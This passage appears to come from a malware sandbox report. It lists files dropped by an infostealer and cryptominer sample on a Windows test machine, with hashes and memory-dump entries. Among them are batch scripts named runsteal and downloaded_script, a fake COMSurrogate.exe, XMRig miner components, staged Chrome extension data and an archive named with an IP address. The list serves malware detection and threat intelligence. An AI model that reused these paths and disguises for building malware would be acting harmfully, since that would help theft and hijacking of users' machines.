| SHA512 | 011ab44e81d61636d5b1637584faf0701a5b2226289b6200cd89ad97927f52f1c659df626afc2b46edd656960d67934fff97f5e10fd6a7454027d430feafa7a9 |
C:\Users\Admin\AppData\Local\Temp\smartscreen.exe
| MD5 | 1fed66d1f6b85bda20fe0403ca01c9bd |
| SHA1 | 6a3056191a7d8da167285b2bf5f9fa671022c8c1 |
| SHA256 | 924ee12f6a98aeeb1c7836ec8984f0f93216bfff0433bcd4ee643d33d96db74a |
| SHA512 | 0fb1397078689a52d1c77cc239b1e42afa5ff87a3f5b4f825705e9bda1bd2c58bfb50a6067ea0a202fa7edb0a890cbac9314413fc8757c8b75a43fa0b12ef613 |
memory/2176-456-0x0000023EEB1A0000-0x0000023EEB1CE000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\runsteal.bat
| MD5 | 744f8978db36b4b9db7cb6e5c8c41e08 |
| SHA1 | 84321921f622d20a4d40c9bef43b7744e74aaee7 |
| SHA256 | cedfe277f8c600679365ce2c54a9c303907a0acadc23ed6e6968746d2e8ca468 |
| SHA512 | d1584b2134bf3960af33a514b3a9fba69c7eb2fbbc3b0cffe7e493f182b20547f7596012fcc5e6b5ffbefee5a0b7d1afe45eee822cff5b0720ffd6292af2394f |
C:\Users\Admin\AppData\Local\Temp\checkmiexe.bat
| MD5 | d1fdfad5ce7134b1ef5a54cf37001031 |
| SHA1 | 82e0f4e953b3aeaca622ec071639baf6ae17aadb |
| SHA256 | 54f8474d983dc3dd78e3d3289076152651e2f8cc5f30ae3f2740ba15e71cc6a6 |
| SHA512 | b6b7b4f134a6b436cd32e39fb645d91acc12482d352158a755359d0f6cbb8fd5bab9351081916b0b638e3ff2bde4b6ac2f6202f3ca58f1146f39defc039e88e7 |
memory/4932-471-0x0000000006C10000-0x0000000006C42000-memory.dmp
memory/4932-472-0x000000006FAC0000-0x000000006FB0C000-memory.dmp
memory/4932-482-0x0000000006C50000-0x0000000006CF3000-memory.dmp
memory/4932-492-0x0000000007B50000-0x0000000007B61000-memory.dmp
memory/4932-493-0x0000000007B90000-0x0000000007BA4000-memory.dmp
memory/4796-494-0x000000006FAC0000-0x000000006FB0C000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
| MD5 | 968cb9309758126772781b83adb8a28f |
| SHA1 | 8da30e71accf186b2ba11da1797cf67f8f78b47c |
| SHA256 | 92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a |
| SHA512 | 4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | dd9171b4bf3efb88d757fc0a7ad43cec |
| SHA1 | 4fe4400b20f184d220e20888f11af9b037c64986 |
| SHA256 | 5d6724bf53324505c1fb6b516e22e1a3da41875b2381485268f348d4ec8d4818 |
| SHA512 | 0f988ab2dee84aea2fe7a7ff2bd1735de1fc41d31b8378dbb739c2ed0c000045e7616bd7e13112f72c7119eb637d663d6d6f64073ce9a6587bbeeb9d4f6cff8d |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 20bdb53130a7e280559f1e63a5452cf9 |
| SHA1 | f2b743aa1a28584c9a643cb145af2c2c1380c4d4 |
| SHA256 | 98b64485fb473dbbfb2301ca4e6ac2918324e5a1f028affd57397d3fc31f1b92 |
| SHA512 | 101058a612c4886b71488724800a0a624a09344a0e9689392c1f47356a634bb75ccb528ef608841d1704c6c5883a34e1a4e68379e982630ef9b83ea3ad4484ac |
C:\Users\Admin\AppData\Local\Temp\downloaded_script.bat
| MD5 | 6e3686fbda5d6de04cbb6a96de1619e6 |
| SHA1 | 3d45b2cd2eb875a70c5478fe01ab5c892f4b2373 |
| SHA256 | f3d0087ff367459be58237633e454401ddafd90a9ecaa8986ab5ab058091df09 |
| SHA512 | 118d22cf433ad3c19ebff9400d09140a25a9bc2c36fdd6de231c2f2398e53ebc043de5355c071a63d7dc5917a39061ea71e60c314838e25e8f5a8f5f3f9225b9 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | b49bf5984f021c7b8432876294b98856 |
| SHA1 | c059990f3d399aa023085cc7d3a5d2030b4373ac |
| SHA256 | 9e5c86bd1aa99a0fe6bce6587509df5d902322f2d86c069d83c0e89df3a84acc |
| SHA512 | 2fefcede22ea8b29c12e42769aa9762703a11b781880e1d407ea5829d46e61c0748d3bc6e7a4e6a4b5226f1565f187b7aef596e93dc2f014f1c9209cfd982879 |
C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe
| MD5 | d41d8cd98f00b204e9800998ecf8427e |
| SHA1 | da39a3ee5e6b4b0d3255bfef95601890afd80709 |
| SHA256 | e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 |
| SHA512 | cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e |
C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe
| MD5 | 522c76cb242188ea38d251188c7b8016 |
| SHA1 | 3f9ef71529d4212d46416bd11e1a6e09288f68a7 |
| SHA256 | fae9cf26803fa9fee7b0b027dff381fde73ddd19553912ed0c2186771638f710 |
| SHA512 | 112e34c8195f08a5a499879f99dbe11d05baada0286910a7defd55819c6e1f1d24a2398be6de1c54717fafe80f5c6c3a8458a633df0805e2401afc800fb8f76d |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 7e01bd234116f2867a3072c725f6c114 |
| SHA1 | 419c4e3f1020cff66aa49fbf2039ca70a0cb7d6a |
| SHA256 | 7ea601e680ff48c33dc74d9b75c81d29934fabf8797e0a3d6630af2e1e67a388 |
| SHA512 | 7b8fdde0a77d1572efa8ecfba083911ce93288534f50145396608bda43227fa152a496f2f7d10b4d32d0f7c2f9161efb059cdd8254715e3488b609f41ce70a57 |
C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe
| MD5 | 77334f046a50530cdc6e585e59165264 |
| SHA1 | 657a584eafe86df36e719526d445b570e135d217 |
| SHA256 | eb6c487307c52793e0bc4d6a74770bbea2322f32edc466b25abacec3dd0e9c08 |
| SHA512 | 97936dd74d7eef8d69dae0d83b6d1554bd54d5302b5b2ff886ff66c040b083d7d086089de12b57a491cf7269a7d076e4d2a52839aaac519386b77297bc3a5c90 |
memory/1828-577-0x000002338D110000-0x000002338D13E000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 5bdc2959e0aaa3f26ceef7eb7cbafa06 |
| SHA1 | 84d2e647f3891868694ea5e8bbaae6aaaa90dcfa |
| SHA256 | 1da866cbf3945a2ac9869fa2f91dc308f499d7324de1da223f5155f134b0e885 |
| SHA512 | 1fb43fc0550862bd7c733d2d89a1f140888dec9e86ed681e4bc2b3aac77e05a81cf0024ecc3b8eb83d964ec1a34eff05fa06172a9fb6d146ad3da0f6582fffef |
memory/1388-589-0x000000006FAC0000-0x000000006FB0C000-memory.dmp
memory/1388-600-0x0000000007F20000-0x0000000007F32000-memory.dmp
memory/1388-601-0x0000000006300000-0x000000000630A000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\ArchiveContents\Chrome\ghbmnnjooekpmoecnnnilnnbdlolhkhi\000003.log
| MD5 | f67672c18281ad476bb09676baee42c4 |
| SHA1 | fb4e31c9a39545d822b2f18b0b87ca465e7768c9 |
| SHA256 | d96b3d82465808c49ce3c948745074d143504d00f44a9ff3b26a42f0c88e1f61 |
| SHA512 | ff37752848af570cb284f5fb65837472ddf9941992fffceb049a70c36d858c37e4e87016176b4e62d0eda63c235ca742411947d50d163cbc7823c50a734f0898 |
C:\Users\Admin\AppData\Local\Temp\ArchiveContents\Chrome\ghbmnnjooekpmoecnnnilnnbdlolhkhi\CURRENT
| MD5 | 46295cac801e5d4857d09837238a6394 |
| SHA1 | 44e0fa1b517dbf802b18faf0785eeea6ac51594b |
| SHA256 | 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443 |
| SHA512 | 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23 |
C:\Users\Admin\AppData\Local\Temp\ArchiveContents\Chrome\ghbmnnjooekpmoecnnnilnnbdlolhkhi\LOG
| MD5 | 7231a5e2bbaca727a02d2314a68bf19d |
| SHA1 | cc6275acf8d14bbbf8abc59c73ee8c81731fb4c0 |
| SHA256 | 64bdcfe31ba9569a68256d0b14bcb46c71d7dcbadf5918ac197e4a0a5c9e4a12 |
| SHA512 | 9e1dfda88a2bd8d514043402b78de3e4ca180ed86fdabf8937002954f7a3e6c4d9c48207b8a7b9d836736323bbf1c07bf68f84a47612acc9fc0ee70ff90c7446 |
C:\Users\Admin\AppData\Local\Temp\ArchiveContents\Chrome\ghbmnnjooekpmoecnnnilnnbdlolhkhi\LOG.old
| MD5 | cd70aeb3baa80fc9c3f29700f998ac01 |
| SHA1 | d2a8f1be719328369b4b3e05c42b8eee29cb4070 |
| SHA256 | 4bdff7e3774f8ab50b39981be7db2c236e5a93c64ef62f46785a6f41acc0575a |
| SHA512 | 3053c653f65a4f56f2cbb3ab6deec754559334b3f4d29ba44d2b6128f4daee317dae11c1877ea2b52736b57658760ef859e5c038ed85e0b88fadca95f296e82f |
C:\Users\Admin\AppData\Local\Temp\ArchiveContents\Chrome\ghbmnnjooekpmoecnnnilnnbdlolhkhi\MANIFEST-000001
| MD5 | 5af87dfd673ba2115e2fcf5cfdb727ab |
| SHA1 | d5b5bbf396dc291274584ef71f444f420b6056f1 |
| SHA256 | f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4 |
| SHA512 | de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b |
C:\Users\Admin\AppData\Local\Temp\N_Admin_181.215.176.83.zip
| MD5 | d080915cad19f2e2e8343d40983c31d0 |
| SHA1 | 8a8edac840562b3a7391f81193d854a072130855 |
| SHA256 | 82e88b49acf4e25a73feee1e42e53ee6b90228de550b25677f5b3c81ef373424 |
| SHA512 | a5f70bf3f54c6316fa37449f8c39d793510bc346532957ec9565f068432e799a373dcbfe243c29ff8fd23d28489058d48b3bf07d7ced6561e054a9035ee31da9 |
C:\Users\Admin\AppData\Local\asm\mi.exe
| MD5 | f6d520ae125f03056c4646c508218d16 |
| SHA1 | f65e63d14dd57eadb262deaa2b1a8a965a2a962c |
| SHA256 | d2fcf28897ddc2137141d838b734664ff7592e03fcd467a433a51cb4976b4fb1 |
| SHA512 | d1ec3da141ce504993a0cbf8ea4b719ffa40a2be4941c18ffc64ec3f71435f7bddadda6032ec0ae6cada66226ee39a2012079ed318df389c7c6584ad3e1c334d |
memory/4012-620-0x0000017660450000-0x0000017660470000-memory.dmp
C:\Users\Admin\AppData\Local\asm\xmrig-cuda.dll
| MD5 | 0eaba7ef81b53a938d96921fb2185c19 |
| SHA1 | 9154ad5f8d24426e2ba63212461ae48db8dd9085 |
| SHA256 | 9d3aa03f8a003a0142ca6bca93d8b86bc6785b5076d1d2a6528602c110d5e4eb |
| SHA512 | 0ab9caae19b9c97958b8d9084585bd4ef2857e9a6956d4cf87f57e1b25d873f911b05da3532acf15d9956286ab0b0e1606f9ea5e3f84b25f495506b0fab02569 |
C:\Users\Admin\AppData\Local\asm\config.json
| MD5 | dcb095940d9fb21102941fbeb7bbe9f7 |
| SHA1 | 3c0d33b914bc5b174cd9c13427ec8700c09d96ca |
| SHA256 | ba88bbb257474d6d7e8e9bec7a12ff826c3fa80cb019fbc92ea8d6253c2400b1 |
| SHA512 | c384a68fac9c301efd695605e6b14e1e201be687d99cc1e31c6ed2c3d17f37c28802179dd175b4aadb29a3dd6d808b203e18ee96db63a5dbcb92c9d42d2036c2 |
C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.js
| MD5 | f4e7fb4a2cd7331909b6376b42e531ab |
| SHA1 | 1459ff7146bb25b5ffa3921ed13b2a60b5c09718 |
| SHA256 | 62e85e74af89f12a35f62448a1585c68b7599306dada8ca9dddde6018d7b12b3 |
| SHA512 | 4616a3a014f1b1217c5c694b4d6785abea360dad8c622e8180b6531d8796e602eda0a0cd922dfa45b277604440778b847d18afb8baff7818e8d6ff3fb4dc8a28 |